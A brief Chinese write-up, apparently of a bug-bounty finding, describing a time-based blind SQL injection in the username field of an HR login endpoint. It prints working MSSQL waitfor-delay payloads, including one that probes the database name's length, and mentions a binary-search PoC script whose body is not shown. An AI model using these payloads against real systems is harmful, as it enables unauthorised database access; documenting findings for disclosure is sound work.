使用xray扫出目标username参数存在sql注入:
1 | POST /templates/index/hrlogon.do HTTP/1.1 |
尝试payload:
1 | admin';waitfor/**/delay'0:0:1 |
返回的时间明显不一样。
猜测数据库名的长度:
1 | admin';if(len(db_name())=4)waitfor/**/delay'0:0:5'else/**/waitfor/**/delay'0:0:2 |
试了多次后基本判定存在注入无疑,并且数据库名长度为5。编写poc脚本,利用二分法猜解。
poc脚本:
1 | #coding=utf-8 |
提交SRC证明到这里即可~